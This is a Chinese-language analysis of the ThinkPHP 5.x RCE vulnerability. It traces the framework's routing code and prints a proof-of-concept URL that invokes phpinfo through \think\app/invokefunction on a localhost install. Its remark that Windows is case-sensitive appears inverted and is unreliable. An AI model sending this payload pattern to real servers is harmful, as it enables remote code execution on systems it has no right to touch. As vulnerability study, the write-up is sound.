Thinkphp 5.x RCE漏洞

Thinkphp 5.x RCE漏洞

0x0 概要

Thinkphp为MVC处理结构,通过对路由的解析,使用控制器调用函数。
由于对兼容模式的路由处理没有进行过滤等,可以调用命名空间下的任意函数,从而产生了RCE漏洞。

0x1 基础知识

Thinkphp 兼容模式

兼容模式是用于不支持PATHINFO的特殊环境,使用时,URL地址形如:

  • http://localhost/?s=/home/user/login/var/value 或
  • ?s=module/controller/action

Thinkphp App类的内置函数调用

1
2
3
4
5
6
7
8
/**
* 执行函数或者闭包方法 支持参数调用
* @access public
* @param string|array|\Closure $function 函数或者闭包
* @param array $vars 变量
* @return mixed
*/
App::invokeFunction($function, $vars = [])

0x2 代码追踪

按照爆出phpinfo的执行过程跟踪。 POC中,使用invokefunction函数对phpinfo进行调用,且解析url中的vars,将其传入phpinfo中,payload为:

1
http://localhost:801/cms/thinkphp/thinkphp_5.0.22/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1

首先需要对thinkphp的路由操作做分析。 传入兼容模式的s,所以是对s进行路由

1
2
3
4
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

跟踪至函数内:

1
2
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

进一步跟踪:

1
2
3
4
5
6
7
8
9
10
11
12
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];

可以看到,代码没有对操作做出任何过滤和检测,直接将模块、控制器(命名空间)和操作函数解析了。 运行到此处时,path已经被分割为三部分。 之后,代码就会执行解析好的函数:

1
$data = self::exec($dispatch, $config);

执行函数

1
2
3
4
5
6
7
8
9
10
11
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);
}

此时,invokefunction已经将传入的函数执行。

0x3 一些坑以及查阅资料得到

  • 对于windows和linux系统,该漏洞的触发情况不一样,windows系统是对大小写敏感的,所以一些函数无法调用。
  • 在本机(windows系统)下测试网上的写入webshell和执行系统命令的POC都失败了,并且在跟踪的过程中发现源代码也不太一样,一是本地测试使用的5.0.22非完整版本,二是本地服务器的安全设置问题。